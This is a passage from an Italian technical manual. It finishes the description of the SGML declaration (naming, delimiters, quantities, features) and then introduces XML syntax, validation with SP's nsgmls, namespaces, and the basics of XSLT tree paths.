Si possono definire alcuni codici con funzioni speciali, attribuendo loro un nome, a cui si accede con macro del tipo '**&#*nome*;**'. Spesso si fa uso di queste macro nel DTD, precisamente nelle mappe di sostituzione. Si dovrebbe ricordare che la macro '**&RE;**' fa riferimento convenzionalmente alla fine del record. Si osservi l'esempio seguente:

```
FUNCTION
    RE    13
    RS    10
    SPACE 32
    TAB   SEPCHAR 9
```

Si tratta della direttiva '**FUNCTION**' a cui segue la dichiarazione di una serie di nomi, abbinati al codice relativo. Si può osservare il caso del nome '**TAB**', a cui si aggiunge la parola chiave '**SEPCHAR**': si tratta effettivamente del carattere *<HT>*, che però, ai fini della sintassi concreta, viene tradotto con ciò che corrisponde a '**&SPACE;**', cioè uno spazio normale.

L'esempio mostra la definizione tipica di questa direttiva. Si può osservare che '**RE**' è abbinato a *<CR>*, per cui si suppone che il file sorgente SGML sia organizzato in modo da avere dei codici di interruzione di riga pari a *<CR><LF>*, come avviene nei sistemi Dos. Dipende molto dall'analizzatore SGML come funziona la cosa. In pratica, l'analizzatore potrebbe convertire autonomamente il file in questo modo, oppure potrebbe fare altre considerazioni.

63.3.4.4 Nomi

Attraverso la sottosezione '**NAMING**' è possibile definire quali caratteri possono essere usati nei «nomi». In questo modo si intendono i nomi degli elementi, delle entità, degli attributi e di alcuni tipi di valori da associare agli attributi.

In generale, si fa riferimento alle lettere latine dell'alfabeto inglese e alle cifre numeriche, tenendo conto che in generale è concesso solo di iniziare con una lettera. Per modificare questo assunto si interviene in direttive particolari, che limitano il primo carattere, oppure quelli restanti.

- ```
  LCNMSTRT "caratteri_ulteriori"
  ```

  ```
  UCNMSTRT "caratteri_ulteriori"
  ```

  Lower case name start, *Upper case name start*

  Descrivono rispettivamente il primo carattere minuscolo e maiuscolo. In generale, si indica semplicemente la stringa nulla, '`""`'.

- ```
  LCNMCHAR "caratteri_ulteriori"
  ```

  ```
  UCNMCHAR "caratteri_ulteriori"
  ```

  Lower case name characters, *Upper case name characters*

  Descrivono rispettivamente i caratteri successivi al primo, minuscoli e maiuscoli. In generale, si indica semplicemente la stringa nulla, '`""`'.

- ```
  NAMESTRT elenco_codici
  ```

  ```
  NAMECHAR elenco_codici
  ```

  Name start, *Name characters*

  Descrivono rispettivamente i codici utilizzabili nel primo carattere e in quelli restanti. Si usano queste direttive particolarmente nella definizione di XML.

- ```
  NAMECASE
  ```

  Si tratta di un'ulteriore sotto-sottosezione, con la quale si definisce la trasformazione o meno in maiuscolo:

  - ```
    GENERAL YES|NO
    ```

    in questo caso si controlla la conversione in maiuscolo di tutti i nomi, tranne le entità (nell'SGML tradizionale si attiva questa opzione);

  - ```
    ENTITY YES|NO
    ```

    si controlla la conversione in maiuscolo dei nomi di entità e dei loro riferimenti: le macro (nell'SGML tradizionale non si attiva questa opzione).

Nell'SGML normale si utilizza abitualmente la sezione '**`NAMING`**' nel modo seguente:

```
NAMING
    LCNMSTRT  ""
    UCNMSTRT  ""
    LCNMCHAR  "-."
    UCNMCHAR  "-."
    NAMECASE
        GENERAL     YES
        ENTITY      NO
```

In questo modo, si può osservare che i nomi possono contenere anche il trattino ('**`-`**') e il punto ('**`.`**'), ma non possono iniziare così; inoltre, tutti i nomi, tranne quelli delle entità, vengono convertiti in maiuscolo (si parla di ***normalizzazione***), per cui non fa differenza in che modo sono stati scritti.

63.3.4.5 Delimitatori

La sottosezione introdotta dalla parola chiave '**`DELIM`**' può servire per intervenire nella definizione dei delimitatori. In generale non si modifica nulla e ci si limita a confermare lo standard di riferimento, attraverso la parola chiave '**`SGMLREF`**':

```
DELIM
    GENERAL   SGMLREF
    SHORTREF  SGMLREF
```

A volte viene disabilitato l'uso delle mappe di sostituzione nel DTD, attraverso la direttiva '**`SHORTREF NONE`**', come avviene in XML.

Nell'HTML 4 e in XML è stata aggiunta la possibilità di indicare delle macro carattere nella forma '**`&x`*`n`*`;`**', per rappresentare i caratteri attraverso cifre esadecimali. Per ottenere questo risultato, dopo la direttiva '**`GENERAL SGMLREF`**', si aggiunge la dichiarazione di '**`HCRO`**':

```
DELIM
    GENERAL   SGMLREF
    HCRO      "&#38;#x"
    SHORTREF  SGMLREF
```

Naturalmente, in XML ci sono poi altre aggiunte, che qui non vengono mostrate.

63.3.4.6 Nomi riservati

Alcune nomi che hanno significati speciali possono essere modificati nella sottosezione '**`NAMES`**'. In generale, queste cose non si fanno, per cui si abbina semplicemente la dichiarazione predefinita: '**`SGMLREF`**':

```
NAMES
    SGMLREF
```

63.3.4.7 Quantità

Nell'ambito della sintassi concreta è possibile definire il limite a una serie di quantità. Di solito non ci si preoccupa di queste cose, oppure si scrivono direttive per richiedere limiti molto elevati. Per fare riferimento allo standard, si utilizza la parola chiave '**SGMLREF**' come al solito:

```
QUANTITY SGMLREF
```

Eventualmente si aggiungono le varianti che si ritiene necessario apportare. L'esempio seguente è tratto dalla configurazione predefinita di SP e appare evidente l'intenzione di estendere al massimo i limiti, anche senza spiegare nel dettaglio il significato di ogni parametro:

```
QUANTITY SGMLREF
    ATTCNT     99999999
    ATTSPLEN   99999999
    DTEMPLEN   24000
    ENTLVL     99999999
    GRPCNT     99999999
    GRPGTCNT   99999999
    GRPLVL     99999999
    LITLEN     24000
    NAMELEN    99999999
    PILEN      24000
    TAGLEN     99999999
    TAGLVL     99999999
```

Con XML, o comunque con la dichiarazione «Web SGML», '**ISO 8879:1986 (WWW)**', è possibile usare una forma differente e più intuitiva per indicare che non si vogliono porre limiti:

```
 QUANTITY NONE
```

63.3.5 Proprietà

L'ultima sezione della dichiarazione SGML serve a raccogliere la definizione delle proprietà: '**FEATURES**'. Contiene in particolare tre sottosezioni intitolate rispettivamente '**MINIMIZE**', '**LINK**' e '**OTHER**'. Non è il caso di approfondire queste definizioni, a parte qualche direttiva che può essere interessante.

Per cominciare, conviene osservare la sezione '**FEATURES**' dell'HTML 4:

```
FEATURES
    MINIMIZE
        DATATAG  NO
        OMITTAG  YES
        RANK     NO
        SHORTTAG YES
    LINK
        SIMPLE   NO
        IMPLICIT NO
        EXPLICIT NO
    OTHER
        CONCUR   NO
        SUBDOC   NO
        FORMAL   YES
```

Nella sottosezione '**MINIMIZE**' è importante tenere in considerazione l'opzione '**DATATAG**', che in generale è bene sia disattivata come appare nell'esempio. Questa dovrebbe servire per specificare una stringa che nel testo deve essere presa in considerazione come una chiusura implicita di un elemento. L'opzione '**OMITTAG**' consente di utilizzare le regole di minimizzazione nel DTD.

La sottosezione '**OTHER**' permette di definire delle caratteristiche interessanti riguardo all'organizzazione del DTD, del sorgente e dei cataloghi. L'opzione '**CONCUR**' consente, se attivata, di gestire più DTD nello stesso documento. Ciò può servire quando è consentita l'aggregazione di più sorgenti che a loro volta utilizzano DTD differenti. Data la complessità che si creerebbe in questo modo, tale opzione viene disabilitata normalmente. L'opzione '**SUBDOC**' permette, se abilitata, di aggregare più sorgenti SGML assieme (che di solito condividono lo stesso DTD implicitamente); se si abilita l'opzione occorre aggiungere l'indicazione del numero massimo di livelli di annidamento a cui si può arrivare. L'opzione '**FORMAL**', se attivata, serve a richiedere l'uso corretto degli identificatori pubblici; se non è attivata, l'identificazione può avvenire in modo meno rigoroso.

L'esempio seguente mostra l'impostazione tradizionale di un sistema SGML:

```
    FEATURES

        MINIMIZE
            DATATAG   NO
            OMITTAG   YES
            RANK      YES
            SHORTTAG  YES

        LINK
            SIMPLE    YES 1000
            IMPLICIT  YES
            EXPLICIT  YES 1

        OTHER
            CONCUR    NO
            SUBDOC    YES 99999999
            FORMAL    YES
```

63.3.6 Applicazione di una dichiarazione SGML in pratica

La dichiarazione SGML può essere attribuita attraverso il catalogo, con la direttiva '**SGMLDECL**':

```
SGMLDECL "HTML4.dcl"
```

L'esempio mostra il riferimento al file '`HTML4.dcl`', contenente la dichiarazione SGML desiderata.

Potrebbe essere impossibile selezionare tra più dichiarazioni alternative. In tal caso, diventa necessario predisporre più cataloghi, uno per ogni tipo di dichiarazione che si intende utilizzare.

63.3.7 Esempio conclusivo

Per concludere viene mostrato un esempio completo di una dichiarazione SGML realizzata per poter utilizzare nel sorgente la codifica ISO 8859-1, che potrebbe essere adatta alle situazioni più comuni (appare anche la sezione '**APPINFO**' che non è stata descritta). Altri esempi possono essere ottenuti dal pacchetto SP sorgente, nel quale si può trovare anche la dichiarazione di XML.

```
<!SGML "ISO 8879:1986 (WWW)"
    CHARSET
        BASESET  "ISO 646-1983//CHARSET
                 International Reference Version (IRV)//ESC 2/5 4/0"
        DESCSET
            0   9 UNUSED
            9   2   9
            11   2 UNUSED
            13   1 13
```

```
        14 18 UNUSED
        32 95 32
        127  1 UNUSED
    BASESET  "ISO Registration Number 100//CHARSET
             ECMA-94 Right Part of
             Latin Alphabet Nr. 1//ESC 2/13 4/1"
    DESCSET  128  32   UNUSED
             160  96    32

CAPACITY PUBLIC    "ISO 8879:1986//CAPACITY Reference//EN"

SCOPE    DOCUMENT

SYNTAX

    SHUNCHAR CONTROLS 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
             18 19 20 21 22 23 24 25 26 27 28 29 30 31 127

    BASESET  "ISO 646-1983//CHARSET International Reference Version
             (IRV)//ESC 2/5 4/0"

    DESCSET
        0 128 0

    FUNCTION
        RE                     13
        RS                     10
        SPACE                  32
        TAB       SEPCHAR      9

    NAMING
        LCNMSTRT  ""
        UCNMSTRT  ""
        LCNMCHAR  "-."
        UCNMCHAR  "-."
        NAMECASE
            GENERAL     YES
            ENTITY      NO

    DELIM
        GENERAL   SGMLREF
        HCRO      "&#38;#x"
        SHORTREF  SGMLREF

    NAMES    SGMLREF

    QUANTITY NONE
```

```
    FEATURES

        MINIMIZE
            DATATAG   NO
            OMITTAG   YES
            RANK      NO
            SHORTTAG  NO

        LINK
            SIMPLE    YES 1000
            IMPLICIT  YES
            EXPLICIT  YES 1

        OTHER
            CONCUR    NO
            SUBDOC    YES 99999999
            FORMAL    YES

    APPINFO NONE
>
```

63.4 Riferimenti

- C. M. Sperberg-McQueen, Lou Burnard, *Guidelines for Electronic Text Encoding and Interchange (TEI P4)*, in particolare il secondo capitolo: *A gentle introduction to XML*

  ⟨http://www.tei-c.org/release/doc/tei-p4-doc/html/⟩

- *The SGML Newsletter*

  ⟨http://architag.com/tag/⟩

- Oasis, *Core Standards for Markup Language Technologies*

  ⟨http://xml.coverpages.org/coreStandards.html⟩

- Oasis, *Standard Generalized Markup Language (SGML)*

  ⟨http://xml.coverpages.org/sgml.html⟩

- Vidar Bronken Gundersen, Rune Mathisen, *SGML/XML character entity reference*

  ⟨http://www.bitjungle.com/isoent/⟩

[1] In questo momento può apparire strano l'uso di questa forma di eccezione. Tuttavia, per comprenderne meglio il senso, occorrerebbe conoscere come funzionano le entità parametriche che sono descritte più avanti. Con queste si può definire un modello del contenuto attraverso una sorta di variabile e, in tal caso, potrebbe essere conveniente l'indicazione di una o più eccezioni, sia in aggiunta che in detrazione.

Capitolo 64

XML

XML è un linguaggio derivato dall'SGML, da intendersi come un sottoinsieme «compatibile» con questo; in particolare, il nome rappresenta l'acronimo di *Extensible markup language*. Il motivo per il quale è stata introdotta questa variante dell'SGML è dovuto all'esigenza di trovare un compromesso tra l'SGML originale e l'HTML, che è solo un'applicazione di SGML troppo limitata per la documentazione multimediale. In pratica, l'intento è stato ed è quello di semplificare leggermente l'SGML rendendo disponibili molte qualità dell'SGML che un'applicazione rigida come l'HTML non è in grado di offrire.

In generale, un documento XML è un'***applicazione*** di XML; nello stesso modo, l'HTML (come linguaggio) è un'applicazione SGML.

64.1 Transizione da SGML a XML

XML nasce come sottoinsieme di SGML, ma nel tempo si evolve e si allontana da SGML. In particolare, la prima caratteristica che comincia il distacco tra i due è costituita dai domini applicativi (*namespace*), i quali rendono difficile l'abbinamento di un DTD a un documento XML che ne fa uso.

64.1.1 Codifica

La novità più importante di XML è l'utilizzo predefinito dell'insieme di caratteri universale, prevalentemente attraverso la forma UTF-8 e UTF-16. Questo fatto ha delle implicazioni importanti, in quanto i riferimenti a macro del tipo '**&*n*;**' e '**&x*n*;**' si fanno ai punti di codifica dello standard ISO 10646 (nel primo caso il numero è espresso in decimale, mentre nel secondo si tratta di un numero esadecimale).

XML non esclude a priori l'utilizzo di altri tipi di codifica; tuttavia, se non è possibile usare le codifiche UTF-***n***, per evitare ambiguità potrebbe essere conveniente limitarsi all'uso dell'ASCII tradizionale, dal momento che è perfettamente compatibile con la forma UTF-8. Eventualmente è possibile anche specificare il tipo di codifica attraverso un'istruzione apposita, che viene mostrata in seguito.

64.1.2 Commenti

I commenti si indicano in linea di massima come in SGML, attraverso la forma:

```
<-- commento -->
```

Come nell'SGML si deve evitare l'uso di due trattini in sequenza, '**--**', ma in XML non è ammissibile il commento nullo nella forma '**<!>**'.

64.1.3 Marcatori ed elementi vuoti

In XML, gli elementi devono essere aperti e chiusi correttamente attraverso i marcatori relativi; in pratica non è possibile più lasciare all'analizzatore XML il compito di determinare da solo la cosa in base al contesto. Questa limitazione è importante per facilitare il compito dei programmi che devono interpretare un documento XML e comunque si riflette positivamente nella struttura del sorgente del documento stesso.

Gli elementi vuoti vanno indicati regolarmente con il marcatore di chiusura, oppure con un solo marcatore speciale, che ha la forma seguente:

```
<nome_elemento />
```

In pratica, alla fine del marcatore appare una barra obliqua prima del simbolo '**>**'.

> Di fatto, per problemi di compatibilità, si lascia uno spazio prima della barra finale. Per esempio: '**<hr />**'.

L'assenza della possibilità di definire dei marcatori di apertura o di chiusura opzionali, fa sì che si semplifichi la dichiarazione di questi nel DTD:

```
<ELEMENT nome_elemento modello_del_contenuto >
```

Nella figura 64.1 si vede un confronto tra la dichiarazione SGML e quella XML. Si vede chiaramente che in XML mancano le regole di minimizzazione.

Figura 64.1. Scomposizione delle varie parti della dichiarazione di un elemento SGML e XML.

SGML:

```
<!ELEMENT titolo        - O (#PCDATA) >
```


XML:

```
<!ELEMENT titolo            (#PCDATA) >
```

In XML, i nomi che si attribuiscono agli elementi e agli attributi sono sensibili alla differenza tra lettere maiuscole e minuscole; per esempio, l'elemento '**`testo`**' è diverso dall'elemento '**`Testo`**' e da tutte le altre varianti possibili. Per la precisione, i nomi devono sottostare alle regole seguenti:

- devono iniziare con una lettera alfabetica, oppure con un trattino basso ('_', ovvero #x5F), e possono contenere anche cifre numeriche, il punto, il trattino basso e il trattino normale (#x2D);
- non possono contenere spazi;
- possono contenere i due punti ('**`:`**'), ma questa possibilità è comunque riservata a situazioni particolari (serve a definire un prefisso che rappresenta un contesto);
- non possono iniziare con la sigla '**`xml`**', o con qualunque altra variazione delle lettere minuscole e maiuscole, dal momento che questi potrebbero avere in seguito dei significati speciali.

64.1.4 Entità predefinite

Alcune entità standard essenziali sono predefinite e teoricamente non è necessario specificarle nel DTD. Si tratta di '**`amp`**', '**`lt`**', '**`gt`**', '**`apos`**' e '**`quot`**'. Le macro relative sono '**`&`**', '**`<`**', '**`>`**', '**`'`**' e '**`"`**'.

Si può osservare questo particolare nella dichiarazione SGML di XML:

```
     SYNTAX
         ...
         ENTITIES
             "amp"  38
             "lt"   60
             "gt"   62
             "quot" 34
             "apos" 39
```

64.1.5 Entità parametriche

In XML, le entità parametriche possono essere utilizzate solo all'interno del DTD. Da ciò consegue logicamente che le sezioni marcate con le quali si può includere o escludere del testo in base al contenuto di un'entità parametrica, possono esistere solo nel DTD.

```
<!ENTITY % bozza 'INCLUDE' >
<!ENTITY % finale 'IGNORE' >

<![%bozza;[
<!ELEMENT libro (commento*, titolo, corpo)>
]]>
<![%finale;[
<!ELEMENT libro (titolo, corpo)>
]]>
```

L'esempio mostra un pezzo di un DTD ipotetico, in cui vengono dichiarate due entità parametriche, '**bozza**' e '**finale**'. In questo caso, la macro '**%bozza;**' si traduce nella parola '**INCLUDE**', mentre la macro '**%finale;**' si traduce nella parola '**IGNORE**'. In questo modo, viene dichiarato l'elemento '**libro**' nella prima modalità: quella che ammette la presenza dell'elemento '**commento**'.

64.1.6 Altre sezioni marcate

XML ammette l'uso di un'altra sezione marcata soltanto, la sezione '**CDATA**' per delimitare del testo letterale.

```
<![CDATA[Il marcatore <ciao> serve per...]]>
```

L'esempio mostra in che modo sia possibile utilizzare letteralmente i simboli '**<**' e '**>**' in una sezione '**CDATA**'.

64.1.7 Istruzioni di elaborazione

Le istruzioni di elaborazione sono una novità in XML. Servono in qualche modo per passare delle informazioni alle applicazioni. Si distinguono per avere la forma seguente:

```
<?istruzione_di_elaborazione?>
```

Il testo che compone l'istruzione dipende dall'applicazione a cui è diretto. È importante tenere presente che tutto ciò che inizia con la stringa '**xml**', assieme a tutte le sue variazioni di lettere maiuscole e minuscole, è riservato.

In generale, in base al significato che può avere l'istruzione di elaborazione, queste possono trovarsi in qualunque parte del sorgente XML.

Normalmente si inizia sempre un sorgente XML con un'istruzione di elaborazione che dichiara la versione di XML a cui si fa riferimento, assieme alla codifica utilizzata:

```
<?xml version="1.0" encoding="UTF-8"?>
```

64.1.8 Convenzioni dell'XML

Nella descrizione fatta fino a questo punto sono già state presentate alcune convenzioni di XML che non sono esprimibili nella dichiarazione SGML relativa. In pratica, si tratta di regole che vanno tenute in considerazione quando si scrive un DTD per un documento XML. Vale la pena di raccogliere le convenzioni più importanti.

- I nomi di elementi e degli attributi che iniziano per '**xml**', con qualsiasi altra variante delle lettere maiuscole e minuscole, sono riservati.
- Gli elementi che ne possono avere bisogno, devono poter disporre di un attributo denominato '**xml:space**', a cui possano essere assegnate le parole chiave '**default**' o '**preserve**'. Il suo scopo è quello di definire il comportamento nei confronti degli spazi (di tutti i caratteri assimilabili a questo concetto). Assegnando la parola chiave

'**default**' si intende lasciare che gli spazi vengano gestiti come al solito, eliminando quelli superflui; con la parola chiave '**preserve**' si vuole richiedere di mantenere gli spazi come sono. La dichiarazione di questo attributo può avvenire nel DTD come nell'esempio seguente:

```
<!ATTLIST esempio xml:space (default|preserve) 'preserve'>
```

In particolare, un elemento che per sua natura deve rispettare le spaziature originali, potrebbe essere definito nel modo seguente, dove si vede il caso dell'elemento '**pre**' di XHTML:

```
<!ELEMENT pre %pre.content;>
<!ATTLIST pre
  %attrs;
  xml:space (preserve) #FIXED 'preserve'
>
```

- Gli elementi che ne possono avere bisogno, devono poter disporre di un attributo denominato '**xml:lang**', a cui poter assegnare un codice identificativo del linguaggio contenuto. Si prevede l'uso di diversi tipi di codice:

  - un codice di linguaggio composto da due lettere, secondo lo standard ISO 639 (tabella 14.4);
  - un codice di linguaggio registrato dall'autorità IANA (*Internet assigned numbers authority*), a cui va aggiunto comunque il prefisso '**i-**', oppure '**I-**';
  - un codice stabilito dall'utente o concordato tra le parti, a cui va aggiunto il prefisso '**x-**', oppure '**X-**'.

  La dichiarazione di questo attributo può avvenire nel DTD come nell'esempio seguente:

```
<!ATTLIST esempio xml:lang NMTOKEN #IMPLIED >
```

  Eventualmente si può anche specificare un linguaggio predefinito, come si vede nell'esempio seguente:

```
<!ATTLIST testo xml:lang NMTOKEN 'it' >
```

64.1.9 Correttezza formale e validità

Possono esistere due livelli di approccio all'XML da parte dei programmi che lo utilizzano: il primo si limita a leggere il documento senza sapere nulla della sua struttura stabilita nel DTD; il secondo invece richiede la conoscenza di questa struttura. Nel primo caso è sufficiente che il documento XML sia stato scritto correttamente dal punto di vista formale, in senso generale; in questo modo si parla di *well formed document*. Nel secondo caso è importante che il documento, oltre che essere corretto dal punto di vista formale, sia anche valido in base alla definizione stabilita nel DTD.

Il documento XML corretto dal punto di vista formale, ha le caratteristiche seguenti:

- contiene un elemento principale unico, all'interno del quale vanno collocati tutti gli altri (si parla comunemente dell'elemento *root*, ovvero della radice);

- tutti i marcatori degli elementi devono essere indicati in modo corretto, attraverso degli annidamenti ordinati;
- tutti gli elementi devono essere delimitati correttamente, senza saltare dei marcatori, inoltre gli elementi vuoti vanno chiusi oppure vanno indicati con il marcatore speciale già mostrato;
- devono essere rispettate le regole stabilite per i nomi degli elementi;
- i valori associati agli attributi vanno delimitati sempre attraverso apici doppi oppure apici singoli;

Il documento XML valido, oltre a essere corretto formalmente, deve anche essere conforme al DTD. Come nell'SGML normale, il DTD può essere indicato attraverso un riferimento, oppure può essere incorporato all'inizio del documento.

64.1.10 Verifica della validità con SP

Il pacchetto SP di James Clark può essere utilizzato anche per convalidare un documento XML, a partire dal suo DTD (il procedimento è analogo a quanto già mostrato nella sezione 63.2); tuttavia, è necessario procurarsi la dichiarazione XML, che si può trovare nell'archivio dei sorgenti di SP stesso: '`pubtext/xml.dcl`'.

Supponendo di disporre del file '`xml.dcl`' nella directory corrente, si può realizzare un catalogo molto semplice come quello seguente:

```
SGMLDECL "xml.dcl"
```

Naturalmente, nel catalogo si possono aggiungere anche altre cose, in base alla necessità o meno di indicare il DTD e le entità generali. Per verificare il funzionamento della cosa, si può provare a eseguire la convalida dell'esempio seguente, che include il DTD nel preambolo e non ha bisogno di entità generali:

```
<?xml version="1.0" encoding="ISO-8859-1" ?>
<!DOCTYPE esempio [
    <!ELEMENT esempio (#PCDATA)>
]>
<esempio>Ciao a tutti!</esempio>
```

Si può osservare che si tratta di un documento elementare, in cui esiste solo l'elemento principale, denominato '**`esempio`**'.

Per la convalida, si può usare l'eseguibile '**`nsgmls`**' nel modo seguente:

`$` **`nsgmls -c catalogo.xml -s esempio.xml`** [*Invio*]

Qui si sottintende che il file del catalogo sia '`catalogo.xml`' e che il sorgente XML sia contenuto nel file '`esempio.xml`'. Se oltre alla convalida si vuole avere il risultato pre-elaborato, si toglie l'opzione '**`-s`**', ottenendo quanto segue:

```
?xml version="1.0" encoding="ISO-8859-1"
(esempio
-Ciao a tutti!
)esempio
C
```

64.1.11 Domini applicativi: «namespace»

Con il termine ***dominio applicativo*** si vuole qui fare riferimento a quello che è noto come *namespace* a proposito di XML. Si definisce un dominio applicativo associando elementi, ma eventualmente anche attributi, a qualcosa che viene identificato tramite un indirizzo URI (sia URL, sia URN; si veda anche la sezione 66.1 a proposito dell'estensione del termine URI). Questa associazione ha lo scopo di evitare ambiguità, quando per qualche ragione si utilizzerebbero elementi o attributi con lo stesso nome, ma con significati differenti.

Dal momento che non è possibile utilizzare nomi di elementi e di attributi che contengano direttamente un URI, si associa questo URI attraverso un attributo particolare:

```
1  <?xml version="1.0"?>
2  <html xmlns="http://www.w3.org/1999/xhtml">
3    <head>...</head>
4    <body>
5      <h1>Bla bla bla</h1>
6      ...
7      <math xmlns="http://www.w3.org/1998/Math/MathML">
8        <mi>x</mi><mo>+</mo><mn>3</mn>
9      </math>
10   </body>
11 </html>
```

Questo esempio mostra l'utilizzo di MathML all'interno di un documento XHTML (le righe dalla settima alla nona). Si può osservare che l'elemento '**`html`**', alla riga numero due dell'esempio, contiene l'attributo '**`xmlns`**' a cui è associata la stringa '**`http://www.w3.org/1999/xhtml`**'. Questa dichiarazione specifica che all'elemento '**`html`**' e a tutti i suoi discendenti si associa il dominio applicativo ⟨*http://www.w3.org/1999/xhtml* ⟩. Questo indirizzo (⟨*http://www.w3.org/1999/xhtml* ⟩) è solo un punto di riferimento univoco; se si vuole, lo si può anche visitare (figura 64.14), ma ha soltanto lo scopo di dichiarare che gli elementi a cui è associato si riferiscono a XHTML; inoltre, non è nemmeno necessario che esista veramente.

> Con i linguaggi SGML, si usa normalmente la dichiarazione del DTD a cui si fa riferimento. Anche con XML, volendo, è corretto usare un riferimento al DTD con l'istruzione '**`<DOCTYPE...>`**', ma si inserisce questo concetto nuovo del dominio applicativo.

Figura 64.14. Come si presenta alla vista l'indirizzo ⟨*http://www.w3.org/1999/xhtml*⟩.

W3C®

XHTML namespace

This is an XML namespace defined in the XHTML™ 1.0: The Extensible HyperText Markup Language specification, and is shared across XHTML Family document types using XHTML Modularization, including XHTML 1.1 and XHTML Basic.

The XHTML specifications are developed by the W3C HTML Working Group (members only), as part of the W3C HTML Activity.

For more information about XML, please refer to the Extensible Markup Language (XML) 1.0 specification. For more information about XML namespaces, please refer to the Namespaces in XML specification.

Continuando a leggere l'esempio mostrato, alla settima riga appare l'elemento '**`math`**', che, come dichiarato dall'attributo '**`xmlns`**' appartiene al dominio applicativo ⟨*http://www.w3.org/1998/Math/MathML/*⟩; in pratica, dichiara che l'elemento in questione e ciò che contiene riguarda MathML.

Figura 64.15. Come si presenta alla vista l'indirizzo ⟨*http://www.w3.org/1998/Math/MathML/*⟩.

W3C® User Interface domain

MathML Namespace

If MathML is being used by an application that conforms to the Namespaces in XML Recommendation, then the following namespace should be used:

http://www.w3.org/1998/Math/MathML

Typical usage would be:

<math xmlns="http://www.w3.org/1998/Math/MathML">
...

It is not a requirement of the XML Namespaces Recommendation that there is any accessible resource at the URI used for a namespace name, although for information purposes, a copy of this file may be downloaded from the above URL.

The current MathML Recommendation may be obtained from http://www.w3.org/TR/REC-MathML

Quanto visto in questo esempio, rappresenta un uso «predefinito» del dominio applicativo. Infatti, esiste anche la possibilità di associare gli elementi (e gli attributi) a un dominio applicativo, specificando un prefisso:

```
1  <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
2    <xsl:template name="/">
3      ...
4    </xsl:template>
5  </xsl:stylesheet>
```

In questo caso si può osservare, alla riga numero uno, che l'elemento '**`xsl:stylesheet`**' con-

tiene l'attributo '**`xmlns:xsl`**', a cui è associato un URI. Ciò significa che, nell'ambito del controllo dell'elemento '**`xsl:stylesheet`**', elementi e attributi il cui nome inizia con il prefisso '**`xsl:`**' appartengono al dominio applicativo ⟨*http://www.w3.org/1999/XSL/Transform* ⟩; per la precisione, anche lo stesso elemento '**`xsl:stylesheet`**' appartiene a questo dominio applicativo, proprio perché anche il suo nome inizia con il prefisso '**`xsl:`**'.

```
1   <?xml version="1.0" encoding="utf-8"?>
2   <xsl:stylesheet version="1.0"
3           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4           xmlns:fo="http://www.w3.org/1999/XSL/Format">
5
6   <xsl:output method="xml" indent="yes"/>
7   ...
8   <xsl:template match="studio">
9   <fo:root>
10      <fo:layout-master-set>
11          ...
12      </fo:layout-master-set>
13      <fo:page-sequence master-reference="cover">
14          ...
15      </fo:page-sequence>
16      ...
17  </fo:root>
18  </xsl:template>
19  ...
20  </xsl:stylesheet>
```

Questo nuovo esempio mostra l'uso di due domini applicativi, associati rispettivamente ai prefissi '**`xsl:`**' e '**`fo:`**' (le righe tre e quattro). La dichiarazione dei domini applicativi avviene nell'elemento principale, ovvero '**`xsl:stylesheet`**' (che appartiene al dominio applicativo associato al prefisso '**`xsl:`**'), in modo che possa essere valida per tutto il documento, salva la possibilità di modificarla all'interno di elementi ben precisi.

Oltre ai modi mostrati in questi esempi, esistono altre combinazioni; per esempio è possibile affiancare un dominio applicativo predefinito a domini specificati attraverso l'uso di prefissi. Tuttavia si preferisce evitare di creare troppa confusione su un concetto che invece dovrebbe essere semplice, per consentire la comprensione di altri concetti legati a XML. Eventualmente si possono consultare i documenti annotati nella bibliografia al termine del capitolo, per una visione più precisa e dettagliata a proposito dei domini applicativi (ovvero *namespace*).

La presenza dei domini applicativi rende difficile l'abbinamento di un DTD a un documento XML, perché i prefissi devono essere previsti esattamente nel DTD, come parte dei nomi degli elementi e degli attributi, mentre la definizione di un dominio applicativo consentirebbe l'utilizzo di un prefisso libero, deciso nel momento in cui si usa l'attributo '**`xmlns:`***x*'.

64.2 Introduzione ai fogli di stile XSLT

XSLT è un linguaggio realizzato in forma di file XML, con il quale si definisce una trasformazione di un file XML in un altro file. Generalmente, il file di destinazione è un altro file XML, anche se può comunque essere qualcosa di diverso. La sigla sta precisamente per *XSL transformations* (ovvero *Extensible stylesheet language transformations*), a indicare che il linguaggio è scritto in quello che viene chiamato «foglio di stile XSL» e serve a trasformare i dati originali in qualcosa di conveniente ai propri scopi. In altri termini, si tratta di un linguaggio che consente di estrarre le informazioni contenute in un file XML, per generare con queste ciò che serve.

Figura 64.18. Utilizzo del linguaggio XSLT per la trasformazione di un file XML.

Naturalmente, l'elaborazione di un file XML secondo il linguaggio XSLT richiede un programma apposito. Qui viene mostrato l'uso di Xalan (sezione 64.2.6).

La trattazione che qui viene fatta a proposito dei fogli di stile XSLT è limitata alle funzionalità principali. Per un approfondimento si può consultare la documentazione elencata nella bibliografia alla fine del capitolo.

64.2.1 Struttura ad albero, percorsi e modelli di confronto

Un documento XML, ai fini della sua elaborazione, viene visto come una struttura ad albero, dove ogni componente rappresenta un nodo di questo. Si osservi l'esempio seguente, che rappresenta un file XML molto semplice:

```
<?xml version="1.0" encoding="UTF-8" ?>
<relazione lang="it">
<titolo>Relazione introduttiva su XML</titolo>
<data>11/11/2011</data>
<contenuto>
<paragrafo>XML sta per Extensible Markup Language.</paragrafo>
<paragrafo>Bla, bla, bla...</paragrafo>
<firma>Pinco Pallino</firma>
</contenuto>
</relazione>
```

Si potrebbe rappresentare schematicamente l'albero di questo documento come si vede nella figura successiva:

Nello schema mostrato si deve osservare che elementi, attributi e testo contenuto negli elementi, costituiscono nodi separati.

Per identificare un nodo dell'albero, si usa una notazione che assomiglia ai percorsi dei file system Unix. A titolo di esempio vengono mostrati tutti gli elementi e gli attributi XML degli schemi già apparsi, secondo la sequenza originale, con percorsi assoluti:

```
/
/relazione
/relazione/@lang
/relazione/titolo
/relazione/data
/relazione/contenuto
/relazione/contenuto/paragrafo
/relazione/contenuto/paragrafo
/relazione/contenuto/firma
```

Naturalmente esistono anche percorsi relativi, quando manca la barra obliqua iniziale che rappresenta la radice: questi fanno riferimento al nodo corrente nell'ambito del contesto a cui ci si riferisce.

